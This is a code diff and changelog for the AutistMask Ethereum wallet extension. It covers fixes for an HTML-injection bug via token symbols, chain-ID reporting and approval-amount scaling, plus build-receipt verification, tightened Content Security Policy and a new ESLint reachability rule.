+  `autistmask-build-debug=off` verified `ok`, `manifest.json` and the content
+  script that runs on every page were never read at all, and an entire
+  hand-written `dist/` passed. `build.js` now records every file it emits, with
+  its sha256 and whether it is one of the bundles containing `constants.js`,
+  into a receipt whose path the `Makefile` makes fresh per invocation outside
+  the repo and deletes afterwards; `dist/constants-bundles.txt` is gone, and
+  `dist/` is cleared before a build so it holds only what that build wrote. The
+  standalone `make verify-build` target went with it: re-verifying a `dist/`
+  from the `dist/` itself is the thing that was broken. What this establishes is
+  narrow and stated as such in README.md — `dist/` is byte for byte the output
+  of the `build.js` run that just finished — and it is not signing, which is
+  [#310](https://git.eeqj.de/sneak/AutistMask/issues/310).
+  `script/test-verify-build` grew from 18 cases to 39, including one per
+  demonstrated bypass and the `make -n` read-back that proves the recipes pass
+  the mode as an argument.
+- 2026-08-20: A hostile ERC-20 symbol no longer renders as live HTML in the
+  popup ([#307](https://git.eeqj.de/sneak/AutistMask/issues/307)). A token
+  symbol is whatever the contract's `symbol()` returns, the block explorer
+  passes it through unfiltered, and `balanceLine()` interpolated it into an
+  `innerHTML` string — so a token with the 1,000 holders the spam filter asks
+  for, airdropped to the victim, could paint a full-viewport cross-origin iframe
+  over the wallet's own UI, on the screens where the user types their password.
+  `escapeHtml` moved to `src/shared/html.js` as a pure string replace over `&`,
+  `<`, `>`, `"` and `'`: the old implementation round-tripped through a detached
+  element's `textContent`, which does not escape quotes, and it was already
+  being used inside `data-copy="..."`. Every interpolation into an `innerHTML`
+  string across `src/popup/views/` was audited, not just the reported one — the
+  transaction lists' direction label, the wallet name and ENS name in the Home
+  list, the `href` in the explorer link, and the confirmation screen's warning
+  line were all unescaped as well. Both manifests now declare
+  `default-src 'self'` with `frame-src 'none'`; the four directives that had to
+  stay looser than `'self'` are named and justified in the Content Security
+  Policy section of README.md, and `tests/manifest.test.js` pins the whole set
+  exactly. A display cap of 12 characters bounds the symbol, matching the bound
+  `lookupTokenInfo()` already applied on the contract-read path. Not repurposed
+  for any of this: `isSpoofedSymbol()`, which answers a different question and
+  would have been the wrong control.
+- 2026-08-20: A page asking which chain the wallet is on is told the chain the
+  user is actually on ([#317](https://git.eeqj.de/sneak/AutistMask/issues/317)).
+  `eth_chainId` and `net_version` answered from `currentNetwork()`, which reads
+  the module-level `state` singleton that nothing populates at module scope, so
+  a service worker revived by the page's own message answered out of
+  `DEFAULT_STATE` and reported mainnet `0x1`/`1` to a user on Sepolia — a dApp
+  building its interaction for the wrong chain. Both now answer from
+  `getState()`, the per-call detached storage read the other read handlers use,
+  rather than from the singleton: these two are reachable by any page on every
+  provider init, and mutating the shared singleton on that path would detach the
+  wallet objects an in-flight `backgroundRefresh()` is mutating. The read side
+  of the background was audited with it: the remaining singleton reads are the
+  chain switch, the transaction verification path and `backgroundRefresh`, which
+  each already load, and everything else answers from storage per call through
+  `getState()`. One stale read is left named but unfixed, outside this issue's
+  scope: `handleSendTransaction` builds its provider with no network name, so
+  `getProvider()` falls back to the same unloaded singleton for ethers' static
+  network hint.
+- 2026-08-20: The dApp approval screen no longer shows a token transfer it
+  cannot scale as `0.0000`
+  ([#306](https://git.eeqj.de/sneak/AutistMask/issues/306)). `decodeCalldata`
+  read decimals from the 512-entry bundled token list alone and fell back to 18,
+  so every token outside it — most of them, including anything the user added by
+  contract address — was displayed at the wrong scale: a `transfer` of 5,000
+  units of a 6-decimal token read as `0.0000`, and a user who reads zero
+  confirms the drain. The new `src/shared/approvalAmount.js` resolves the scale
+  from the bundled list, then `state.trackedTokens`, then the decimals the block
+  explorer already reported in `addr.tokenBalances`, and refuses one the
+  explorer's own entries disagree about. Where no source knows it, the amount
+  line is not formatted at all: it shows the base-unit integer and states that
+  the scale is unknown, for `approve` as well as `transfer`. An unbounded
+  allowance still reads `Unlimited`, which needs no scale.
 - 2026-08-20: A web page can no longer switch the wallet's chain, and switching
   no longer destroys the user's endpoints
   ([#308](https://git.eeqj.de/sneak/AutistMask/issues/308)).

build.js

@@ -1,5 +1,6 @@
 const fs = require("fs");
 const path = require("path");
+const crypto = require("crypto");
 const { execSync } = require("child_process");
 const esbuild = require("esbuild");
 
@@ -8,12 +9,29 @@ const DIST_CHROME = path.join(DIST, "chrome");
 const DIST_FIREFOX = path.join(DIST, "firefox");
 const SRC = path.join(__dirname, "src");
 
-// The module whose compiled DEBUG state script/verify-build asserts, and the
-// manifest naming every emitted bundle that ends up containing it. The
-// manifest is derived from esbuild's own dependency graph rather than from a
-// hardcoded list, so it tracks the bundle layout instead of rotting with it.
+// The module whose compiled DEBUG state script/verify-build asserts. Which
+// bundles contain it is derived from esbuild's own dependency graph rather
+// than from a hardcoded list, so it tracks the bundle layout instead of
+// rotting with it.
 const AUDITED_MODULE = "src/shared/constants.js";
-const BUNDLE_MANIFEST = path.join(DIST, "constants-bundles.txt");
+
+// The build receipt: every file this build emits, with its sha256 and whether
+// it is one of the audited bundles. script/verify-build is handed this and
+// checks dist/ against it, so the file list comes from the build that just ran
+// rather than being read back out of the tree it is supposed to vouch for.
+//
+// The path is supplied by the caller, not chosen here, and the Makefile makes
+// a fresh one per invocation outside the repo: that is what ties a receipt to
+// one build rather than leaving a standing file anyone can write.
+const RECEIPT_HEADER = "autistmask-build-receipt v1";
+const RECEIPT_ENV = "AUTISTMASK_BUILD_RECEIPT";
+
+// Every emitted path must be plainly nameable, because the receipt is a
+// line-oriented text file consumed by a POSIX shell script and a path with a
+// space or a newline in it could not be read back unambiguously. Nothing this
+// build emits looks like that; if that ever changes, the build fails here
+// rather than writing a receipt that cannot be checked.
+const SAFE_EMITTED_PATH = /^dist\/[A-Za-z0-9._][A-Za-z0-9._/-]*$/;
 
 function ensureDir(dir) {
     fs.mkdirSync(dir, { recursive: true });
@@ -31,10 +49,10 @@ function repoRelative(p) {
 // searching the minified text, it does not depend on what survived minification.
 //
 // The ".js" filter below is the only place that assumption lives:
-// script/verify-build searches every file and symlink under dist/ for a
-// marker, without filtering by extension, and hard-fails if it cannot walk the
-// whole tree, so a bundle emitted under some other extension fails there as
-// unlisted rather than escaping both checks at once.
+// script/verify-build reads every file the receipt names, whatever its
+// extension, and fails on any that carries a debug marker without being
+// recorded as an audited bundle — so a bundle emitted under some other
+// extension fails there rather than escaping both checks at once.
 function outputsContainingAuditedModule(metafile) {
     return Object.entries(metafile.outputs)
         .filter(([outFile, info]) => {
@@ -46,6 +64,94 @@ function outputsContainingAuditedModule(metafile) {
         .map(([outFile]) => repoRelative(outFile));
 }
 
+// Every file this build writes under dist/, recorded as it is written. This is
+// the build's own account of what it emitted; it is never recovered by
+// listing dist/, because a file that is in dist/ without this build having put
+// it there is exactly what the receipt exists to expose.
+const emittedFiles = [];
+
+function recordEmitted(absPath) {
+    emittedFiles.push(absPath);
+}
+
+// Copying is the only other way a file reaches dist/; esbuild and the Tailwind
+// CLI record their outputs where they are invoked.
+function copyEmitted(src, dest) {
+    fs.copyFileSync(src, dest);
+    recordEmitted(dest);
+}
+
+function sha256File(absPath) {
+    return crypto
+        .createHash("sha256")
+        .update(fs.readFileSync(absPath))
+        .digest("hex");
+}
+
+// Write the receipt for the files this build emitted. Deliberately records no
+// build mode: which mode was asked for is script/verify-build's argument, so
+// build.js cannot vouch for build.js. All the receipt says is "these bytes,
+// under these names, are what I wrote, and these ones bundle constants.js".
+function writeReceipt(receiptPath, auditedBundles) {
+    const audited = new Set(auditedBundles);
+    const paths = [...new Set(emittedFiles.map(repoRelative))].sort();
+
+    for (const p of paths) {
+        if (!SAFE_EMITTED_PATH.test(p)) {
+            throw new Error(
+                `emitted path cannot be written to a build receipt: ${JSON.stringify(p)}`,
+            );
+        }
+    }
+
+    // A bundle esbuild reported but that nothing recorded as emitted means the
+    // two halves have drifted apart, and the receipt would then leave an
+    // audited bundle out. Fail rather than emit a short receipt.
+    for (const bundle of audited) {
+        if (!paths.includes(bundle)) {
+            throw new Error(
+                `${bundle} contains ${AUDITED_MODULE} but was not recorded as emitted`,
+            );
+        }
+    }
+    if (audited.size === 0) {
+        throw new Error(
+            `no emitted bundle contains ${AUDITED_MODULE}, which is never correct`,
+        );
+    }
+
+    const lines = [RECEIPT_HEADER, `root ${fs.realpathSync(__dirname)}`];
+    for (const p of paths) {
+        const flag = audited.has(p) ? "A" : "P";
+        lines.push(`file ${sha256File(path.join(__dirname, p))} ${flag} ${p}`);
+    }
+    fs.writeFileSync(receiptPath, lines.map((l) => `${l}\n`).join(""));
+
+    console.log(
+        `Build receipt: ${paths.length} emitted file(s), ${audited.size} ` +
+            `containing ${AUDITED_MODULE} (${receiptPath})`,
+    );
+}
+
+// Where the receipt goes, decided before anything is emitted so a build that
+// cannot produce a checkable receipt fails before it writes any artifacts.
+// Inside dist/ is refused: a receipt that lives in the tree it describes can
+// be rewritten by whoever rewrites the tree, which is the hole this replaces.
+function receiptTarget() {
+    const requested = process.env[RECEIPT_ENV];
+    if (!requested) {
+        return null;
+    }
+    const resolved = path.resolve(requested);
+    if (resolved === DIST || resolved.startsWith(DIST + path.sep)) {
+        throw new Error(
+            `${RECEIPT_ENV} points inside dist/ (${resolved}). The receipt ` +
+                `describes dist/ and must not live in it.`,
+        );
+    }
+    return resolved;
+}
+
 // DEBUG is a build-time flag, off unless explicitly requested. It is the only
 // thing that makes the hardcoded test mnemonic reachable, so the opt-in must be
 // exact: anything other than the literal "1" (unset, empty, "true", a typo)
@@ -87,6 +193,15 @@ function getBuildInfo() {
 async function build() {
     console.log("Building AutistMask extension...");
 
+    const receiptPath = receiptTarget();
+    if (!receiptPath) {
+        console.warn(
+            `WARNING: ${RECEIPT_ENV} is unset, so this build writes no ` +
+                `receipt and script/verify-build cannot verify what it ` +
+                `emitted. Build through make build / make build-debug.`,
+        );
+    }
+
     const buildInfo = getBuildInfo();
     console.log("Build info:", buildInfo);
 
@@ -108,19 +223,21 @@ async function build() {
     };
 
     // Emitted bundles that contain constants.js, accumulated across every
-    // esbuild run below and written out for script/verify-build.
+    // esbuild run below and recorded in the receipt for script/verify-build.
     const auditedBundles = [];
 
     // compile tailwind CSS
     console.log("Compiling Tailwind CSS...");
     const tailwindInput = path.join(SRC, "popup", "styles", "main.css");
     const tailwindOutput = path.join(DIST, "styles.css");
+
+    // Start from an empty dist/, so what is there afterwards is what this
+    // build put there and nothing else. Leftovers from an earlier build are
+    // not covered by this build's receipt, and script/verify-build rejects
+    // any file it did not emit rather than ignoring it.
+    fs.rmSync(DIST, { recursive: true, force: true });
     ensureDir(DIST);
 
-    // Drop any manifest from a previous build before emitting anything, so a
-    // build that never gets around to writing one cannot be verified against
-    // a stale list.
-    fs.rmSync(BUNDLE_MANIFEST, { force: true });
     // The locally installed binary, not `npx` — npx silently fetches from the
     // registry when the binary is absent, which is an unpinned network fetch
     // in the middle of a build.
@@ -134,6 +251,7 @@ async function build() {
         `"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`,
         { stdio: "inherit" },
     );
+    recordEmitted(tailwindOutput);
 
     // Every bundle goes through here, so metafile collection cannot be
     // forgotten when a new entry point is added.
@@ -149,6 +267,7 @@ async function build() {
             metafile: true,
             define,
         });
+        recordEmitted(outfile);
         auditedBundles.push(...outputsContainingAuditedModule(result.metafile));
     }
 
@@ -182,39 +301,39 @@ async function build() {
         );
 
         // copy popup HTML
-        fs.copyFileSync(
+        copyEmitted(
             path.join(SRC, "popup", "index.html"),
             path.join(distDir, "src", "popup", "index.html"),
         );
 
         // place compiled CSS next to popup HTML
-        fs.copyFileSync(
+        copyEmitted(
             tailwindOutput,
             path.join(distDir, "src", "popup", "styles.css"),
         );
     }
 
     // copy manifests
-    fs.copyFileSync(
+    copyEmitted(
         path.join(__dirname, "manifest", "chrome.json"),
         path.join(DIST_CHROME, "manifest.json"),
     );
-    fs.copyFileSync(
+    copyEmitted(
         path.join(__dirname, "manifest", "firefox.json"),
         path.join(DIST_FIREFOX, "manifest.json"),
     );
 
-    // Written last so a build that died partway through leaves no manifest
-    // at all, which script/verify-build treats as a hard failure rather than
-    // as "nothing to check".
-    const manifest = [...new Set(auditedBundles)].sort();
-    fs.writeFileSync(BUNDLE_MANIFEST, manifest.map((p) => `${p}\n`).join(""));
-    console.log(
-        `Bundles containing ${AUDITED_MODULE}: ${manifest.length} ` +
-            `(listed in ${repoRelative(BUNDLE_MANIFEST)})`,
-    );
+    // Written last so a build that died partway through leaves no receipt at
+    // all, which script/verify-build treats as a hard failure rather than as
+    // "nothing to check".
+    if (receiptPath) {
+        writeReceipt(receiptPath, auditedBundles);
+    }
 
     console.log("Build complete: dist/chrome/ and dist/firefox/");
 }
 
-build();
+build().catch((err) => {
+    console.error(`Build failed: ${err && err.message ? err.message : err}`);
+    process.exit(1);
+});

eslint.config.js

@@ -8,6 +8,7 @@
 
 const js = require("@eslint/js");
 const globals = require("globals");
+const backgroundState = require("./script/lib/eslint/noStateSingletonInBackground");
 
 // The extension APIs. MV3 Chrome exposes `chrome`; Firefox exposes both, and
 // the code feature-detects between them.
@@ -78,12 +79,28 @@ module.exports = [
     },
 
     // MV3 background: a service worker, with no window and no document.
+    //
+    // It also may not reach src/shared/state.js. That module's `state` export
+    // is a per-bundle singleton loaded once and mutated in place, which is the
+    // popup's lifetime and not the worker's: the worker is killed when idle,
+    // nothing loads state at module scope, and an unpopulated read used to be
+    // served DEFAULT_STATE silently. Five defects came from background code
+    // reading or writing it (https://git.eeqj.de/sneak/AutistMask/issues/324),
+    // and each point fix added a loadState() that created the next one. The
+    // rule below checks reachability through the whole require graph, not just
+    // the direct require, because a re-export from any shared module the
+    // background already pulls in would put the singleton back in the bundle
+    // with no background file naming it.
     {
         files: ["src/background/**/*.js"],
+        plugins: { background: backgroundState },
         languageOptions: {
             ...commonjs,
             globals: { ...globals.serviceworker, ...extensionGlobals },
         },
+        rules: {
+            "background/no-state-singleton-in-background": "error",
+        },
     },
 
     // src/shared is bundled into both, so it may only use what both provide:
@@ -107,9 +124,9 @@ module.exports = [
         },
     },
 
-    // Unit tests: jest on node.
+    // Unit tests, and the helpers they require: jest on node.
     {
-        files: ["tests/**/*.test.js"],
+        files: ["tests/**/*.test.js", "tests/support/**/*.js"],
         languageOptions: {
             ...commonjs,
             globals: { ...globals.node, ...globals.jest },

manifest/chrome.json

@@ -6,7 +6,7 @@
     "permissions": ["storage", "activeTab", "alarms"],
     "host_permissions": ["<all_urls>"],
     "content_security_policy": {
-        "extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
+        "extension_pages": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'"
     },
     "action": {
         "default_popup": "src/popup/index.html"

manifest/firefox.json

@@ -4,7 +4,7 @@
     "version": "0.1.0",
     "description": "Minimal Ethereum wallet for Firefox",
     "permissions": ["storage", "activeTab", "alarms", "<all_urls>"],
-    "content_security_policy": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'",
+    "content_security_policy": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'",
     "browser_action": {
         "default_popup": "src/popup/index.html"
     },

script/discard-dist-on-failure

@@ -0,0 +1,78 @@
+#!/bin/sh
+# script/discard-dist-on-failure: run one step of the RELEASE build, and if that
+# step fails, remove dist/ before returning its exit status. Our own extension
+# to scripts-to-rule-them-all, wrapped around every step of make build.
+#
+# Why: with AUTISTMASK_DEBUG=1 exported in the calling shell, make build
+# compiles a debug bundle and then fails on it in script/verify-build — but the
+# bundle is already written. It is loadable, and every wallet it creates gets
+# the publicly committed test recovery phrase from src/shared/constants.js. A
+# failed release build that leaves that behind is a smaller version of the trap
+# the verifier exists to close, and "the failure was loud" only works on an
+# operator who does not load dist/chrome/ anyway. Removing the artifact does not
+# depend on that.
+#
+# Two things this deliberately does not do. It does not wrap make build-debug: a
+# debug build that failed is not a mistakable artifact, and its output is the
+# evidence of what went wrong. And it never removes anything on a step that
+# SUCCEEDS, including the final check-censored --require-dist pass.
+#
+# The removal is never silent: it says dist/ is gone and why, on stderr, above
+# the build's own failure.
+set -eu
+
+ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
+DIST="$ROOT/dist"
+
+usage() {
+    echo "usage: discard-dist-on-failure COMMAND [ARG...]" >&2
+}
+
+# Remove dist/, and say so. A removal that could not be completed is reported as
+# loudly as one that was: the artifact is still on disk, and reporting nothing
+# would leave the operator believing it is not.
+discard_dist() {
+    if [ ! -e "$DIST" ] && [ ! -h "$DIST" ]; then
+        echo "discard-dist-on-failure: the release build failed. There was no" \
+            "dist/ to remove." >&2
+        return 0
+    fi
+
+    rm -rf "$DIST" || true
+
+    if [ -e "$DIST" ] || [ -h "$DIST" ]; then
+        echo "discard-dist-on-failure: the release build failed and dist/" \
+            "COULD NOT BE REMOVED, so it is still on disk. Do not load it:" \
+            "a release build that failed may hold a complete debug bundle," \
+            "whose wallets all use the publicly committed test recovery" \
+            "phrase. Remove it by hand (make clean)." >&2
+        return 0
+    fi
+
+    echo "discard-dist-on-failure: the release build failed, so dist/ WAS" \
+        "REMOVED and no longer exists. A release build that fails has often" \
+        "already emitted a complete, loadable debug bundle — every wallet it" \
+        "creates gets the publicly committed test recovery phrase — so the" \
+        "failed build is not left behind to be loaded. Fix the failure and" \
+        "re-run make build, or run make build-debug if a debug build is what" \
+        "was wanted; that target keeps its output." >&2
+}
+
+main() {
+    [ "$#" -ge 1 ] || {
+        usage
+        echo "discard-dist-on-failure: no command given, so no build step ran" \
+            "and nothing was removed." >&2
+        exit 1
+    }
+
+    _status=0
+    "$@" || _status=$?
+
+    [ "$_status" -ne 0 ] || return 0
+
+    discard_dist
+    exit "$_status"
+}
+
+main "$@"

script/lib/eslint/noStateSingletonInBackground.js

@@ -0,0 +1,147 @@
+// ESLint rule: the background bundle may not reach the shared state singleton.
+//
+// src/shared/state.js holds a module-level `state` object, loaded once by
+// loadState() and mutated in place from then on. That is the popup's model. In
+// the MV3 service worker there is no "once": the worker is terminated when
+// idle and revived by the next message, nothing loads state at module scope,
+// and an unpopulated read used to be served DEFAULT_STATE without complaint —
+// five defects, one cause
+// (https://git.eeqj.de/sneak/AutistMask/issues/324). The background has its
+// own per-call storage layer in src/background/state.js instead.
+//
+// A convention nobody can violate beats a convention everyone remembers, so
+// this is a lint error rather than a review item. It checks REACHABILITY, not
+// just the direct require: the singleton is one `require()` away from any
+// shared module the background pulls in, and a re-export would put it back in
+// the bundle without any background file naming it. So each background file is
+// the root of a walk over the CommonJS require graph, and the error names the
+// whole chain that brought the singleton in.
+//
+// The walk reads sources from disk and matches import specifiers textually.
+// That over-approximates — a specifier inside a comment or a string counts —
+// and over-approximating is the safe direction for a prohibition: the failure
+// mode is a spurious error naming an exact file and line, not a silent hole.
+//
+// It has to match EVERY specifier syntax esbuild resolves statically, because
+// the hole a narrower match leaves is not "the rule is less tidy", it is a
+// sixth site the build cannot see. Matching only `require("x")` and `require('x')`
+// let four shapes through, each of which was confirmed to put the singleton in
+// the shipped worker bundle: a backtick `require(`x`)`, a dynamic `import("x")`,
+// a static `import ... from "x"` / `export ... from "x"`, and any of those one
+// hop away in a shared module the background already pulls in.
+//
+// Known and deliberate gap: a computed specifier, `require("../shared/" +
+// "state")`. It is not matched here, and it is not a hole — esbuild cannot
+// resolve it statically either, so it never reaches the bundle. Contorting the
+// rule to chase it would buy nothing.
+
+const fs = require("fs");
+const path = require("path");
+
+// The module this rule exists to keep out, relative to the repo root.
+const FORBIDDEN = path.join("src", "shared", "state.js");
+
+// Both alternatives capture the specifier: call form first
+// (`require(...)`/`import(...)`), then clause form (`from "x"`, and the bare
+// side-effect `import "x"`).
+const SPECIFIER_RE =
+    /\b(?:require|import)\(\s*["'`]([^"'`]+)["'`]\s*\)|\b(?:from|import)\s+["'`]([^"'`]+)["'`]/g;
+
+// Resolve a relative require to a file path, trying the extensions node would.
+function resolveRelative(fromFile, spec) {
+    if (!spec.startsWith(".")) return null; // a package, not our tree
+    const base = path.resolve(path.dirname(fromFile), spec);
+    for (const candidate of [
+        base,
+        base + ".js",
+        base + ".json",
+        path.join(base, "index.js"),
+    ]) {
+        try {
+            if (fs.statSync(candidate).isFile()) return candidate;
+        } catch {
+            // Not this candidate.
+        }
+    }
+    return null;
+}
+
+function requiresOf(file) {
+    let source;
+    try {
+        source = fs.readFileSync(file, "utf8");
+    } catch {
+        return [];
+    }
+    const out = [];
+    for (const match of source.matchAll(SPECIFIER_RE)) {
+        const resolved = resolveRelative(file, match[1] ?? match[2]);
+        if (resolved) out.push(resolved);
+    }
+    return out;
+}
+
+// Breadth-first from `entry`, returning the shortest chain of files that ends
+// at the forbidden module, or null when it is not reachable.
+function chainToForbidden(entry, forbidden) {
+    const seen = new Set([entry]);
+    const queue = [[entry]];
+    while (queue.length > 0) {
+        const chain = queue.shift();
+        for (const next of requiresOf(chain[chain.length - 1])) {
+            if (next === forbidden) return chain.concat([next]);
+            if (seen.has(next)) continue;
+            seen.add(next);
+            queue.push(chain.concat([next]));
+        }
+    }
+    return null;
+}
+
+const rule = {
+    meta: {
+        type: "problem",
+        docs: {
+            description:
+                "the background bundle must not be able to reach the" +
+                " module-level state singleton in src/shared/state.js",
+        },
+        schema: [],
+        messages: {
+            reachable:
+                "The background must not reach the shared state singleton:" +
+                " {{chain}}. The MV3 worker never populates it, so reading it" +
+                " serves DEFAULT_STATE. Use getState()/updateState() from" +
+                " src/background/state.js instead.",
+        },
+    },
+
+    create(context) {
+        return {
+            "Program:exit"(node) {
+                const filename = context.filename;
+                // ESLint lints from the repo root, which is also where the
+                // forbidden path is anchored.
+                const forbidden = path.resolve(context.cwd, FORBIDDEN);
+                const chain = chainToForbidden(
+                    path.resolve(filename),
+                    forbidden,
+                );
+                if (!chain) return;
+                context.report({
+                    node,
+                    messageId: "reachable",
+                    data: {
+                        chain: chain
+                            .map((file) => path.relative(context.cwd, file))
+                            .join(" -> "),
+                    },
+                });
+            },
+        };
+    },
+};
+
+module.exports = {
+    rules: { "no-state-singleton-in-background": rule },
+};

script/test-verify-build

@@ -1,13 +1,16 @@
 #!/bin/sh
 # script/test-verify-build: exercise every failure mode of
-# script/verify-build. Our own extension to scripts-to-rule-them-all, run
-# from script/check so make check covers it.
+# script/verify-build, and what make build does with dist/ after one of them
+# (script/discard-dist-on-failure). Our own extension to
+# scripts-to-rule-them-all, run from script/check so make check covers it.
 #
-# Why this exists: verify-build is the build-integrity guard, and three
-# separate reviews of it each found a fresh vacuous pass — the grep exit-2
-# conflation, the discarded find status, the line-delimited walk. Every one
-# was caught by someone building a tree by hand, because nothing in make check
-# could catch it. This is that hand battery, committed and automated.
+# Why this exists: verify-build is the build-integrity guard, and four separate
+# reviews of it each found a fresh vacuous pass — the grep exit-2 conflation,
+# the discarded find status, the line-delimited walk, and then the two the
+# receipt replaced: an expectation read out of the verifier's own environment,
+# and a file list read back out of the tree it was supposed to vouch for. Every
+# one was caught by someone building a tree by hand, because nothing in make
+# check could catch it. This is that hand battery, committed and automated.
 #
 # Each case asserts the exit status AND a substring of the message. A guard
 # that fails for the wrong reason (right status, different fault) is itself a
@@ -17,15 +20,25 @@
 # the real script: verify-build takes its ROOT from dirname "$0"/.., so it
 # operates on the fixture's dist/ and never reads or writes the repo's build
 # output. The symlink rather than a copy is what makes a deliberate break in
-# the real script fail here.
+# the real script fail here. The fixture's receipt is written from the bytes
+# the fixture actually holds, exactly as a build writes one from the bytes it
+# emitted; a case that means "the build emitted this" regenerates it, and a
+# case that means "something changed dist/ afterwards" does not.
+#
+# The sha256 command is selected here independently of the one verify-build
+# picks. That is deliberate: a harness that reused the implementation's helper
+# would agree with it even when it is wrong.
 set -eu
 
 ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
 VERIFY_BUILD="$ROOT/script/verify-build"
+DISCARD_DIST="$ROOT/script/discard-dist-on-failure"
 
 MARKER_ON="autistmask-build-debug=on"
 MARKER_OFF="autistmask-build-debug=off"
 
+RECEIPT_HEADER="autistmask-build-receipt v1"
+
 NEWLINE='
 '
 
@@ -41,6 +54,9 @@ UNPRIV=""
 PERM_ENABLED=no
 PERM_HOW=""
 
+# The sha256 command, chosen by pick_sha256_tool.
+SHA256_CMD=""
+
 WORK=""
 
 cleanup() {
@@ -54,6 +70,10 @@ trap cleanup EXIT INT TERM
 WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
 FIXTURE="$WORK/fixture"
 
+# The build receipt for the fixture, kept outside the fixture's dist/ — and
+# outside the fixture altogether — because that is where a real one lives.
+RECEIPT="$WORK/receipt"
+
 # verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
 # our work dir keeps the run leaving no residue, and keeps it writable for the
 # unprivileged user the permission cases run as.
@@ -65,21 +85,74 @@ chmod 755 "$WORK"
 
 # --- fixture ---------------------------------------------------------------
 
+# The emitted tree a build of this repo produces in miniature: audited bundles
+# (A) that must carry a marker, and plain emitted files (P) that must not —
+# including the content script, which runs on every page, and the manifest,
+# neither of which the pre-receipt verifier read at all.
+FIXTURE_FILES="A dist/chrome/src/popup/index.js
+A dist/firefox/src/popup/index.js
+P dist/chrome/src/content/index.js
+P dist/chrome/manifest.json
+P dist/styles.css"
+
+FIXTURE_REAL=""
+
 # A stand-in for an emitted bundle: some text plus one marker literal, which
-# is all verify-build reads out of the real thing.
+# is all verify-build reads out of the real thing beyond its digest.
 write_bundle() {
     printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
 }
 
-# A dist/ shaped like a real build: two listed bundles under different
-# browsers, an unlisted subtree to make unwalkable, and unlisted files that
-# carry no marker and must not be objected to.
+# Digest of $1, taken with the harness's own sha256 command.
+fixture_sha256() {
+    # Word-split on purpose: SHA256_CMD is a command with its arguments.
+    # shellcheck disable=SC2086
+    _fs_out="$($SHA256_CMD "$1")"
+    printf '%s' "${_fs_out%% *}"
+}
+
+# Write the fixture's receipt, with a substitutable header and root line so the
+# cases can hand verify-build a receipt that is not one.
+write_receipt_custom() {
+    _wrc_header="$1"
+    _wrc_root="$2"
+
+    chmod u+rw "$RECEIPT" 2>/dev/null || true
+    rm -f "$RECEIPT"
+
+    (
+        cd "$FIXTURE"
+        printf '%s\n' "$_wrc_header"
+        printf 'root %s\n' "$_wrc_root"
+        _saved_ifs="$IFS"
+        IFS="$NEWLINE"
+        for _entry in $FIXTURE_FILES; do
+            IFS="$_saved_ifs"
+            _flag="${_entry%% *}"
+            _path="${_entry#* }"
+            printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
+                "$_flag" "$_path"
+            IFS="$NEWLINE"
+        done
+        IFS="$_saved_ifs"
+    ) >"$RECEIPT"
+
+    # Readable by the unprivileged user the permission cases run as, whatever
+    # umask this process has, until a case takes that away on purpose.
+    chmod 644 "$RECEIPT"
+}
+
+write_receipt() {
+    write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
+}
+
 build_fixture() {
     chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
     rm -rf "$FIXTURE"
 
     mkdir -p "$FIXTURE/script"
     ln -s "$VERIFY_BUILD" "$FIXTURE/script/verify-build"
+    ln -s "$DISCARD_DIST" "$FIXTURE/script/discard-dist-on-failure"
 
     mkdir -p "$FIXTURE/dist/chrome/src/popup" \
         "$FIXTURE/dist/chrome/src/content" \
@@ -87,13 +160,12 @@ build_fixture() {
 
     write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
     write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
+    printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
+    printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
     printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
-    printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/content.js"
 
-    {
-        echo "dist/chrome/src/popup/index.js"
-        echo "dist/firefox/src/popup/index.js"
-    } >"$FIXTURE/dist/constants-bundles.txt"
+    FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)"
+    write_receipt
 
     # Readable and traversable by the unprivileged user the permission cases
     # run as, before those cases take that away again on purpose.
@@ -185,7 +257,51 @@ runuser|runuser -u nobody --"
 
 # --- case runner ------------------------------------------------------------
 
-# check_case <name> <perm:yes|no> <mode:release|debug> <status> <text> <setup>
+# How verify-build is invoked for a case. The arguments are literal here rather
+# than assembled from a string, so nothing about a case's invocation depends on
+# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
+# verifier ignores it — that is the whole of the ambient-environment defect.
+run_verify() {
+    _rv_variant="$1"
+    _rv_perm="$2"
+    _rv_bin="$FIXTURE/script/verify-build"
+
+    case "$_rv_variant" in
+    release | release-envdebug)
+        set -- --expect release --receipt "$RECEIPT"
+        ;;
+    debug)
+        set -- --expect debug --receipt "$RECEIPT"
+        ;;
+    no-expect)
+        set -- --receipt "$RECEIPT"
+        ;;
+    no-receipt)
+        set -- --expect release
+        ;;
+    bad-expect)
+        set -- --expect maybe --receipt "$RECEIPT"
+        ;;
+    unknown-arg)
+        set -- --expect release --receipt "$RECEIPT" --force
+        ;;
+    receipt-in-dist)
+        set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
+        ;;
+    *)
+        echo "test-verify-build: unknown variant $_rv_variant" >&2
+        exit 1
+        ;;
+    esac
+
+    if [ "$_rv_perm" = yes ]; then
+        run_unpriv "$_rv_bin" "$@"
+    else
+        "$_rv_bin" "$@"
+    fi
+}
+
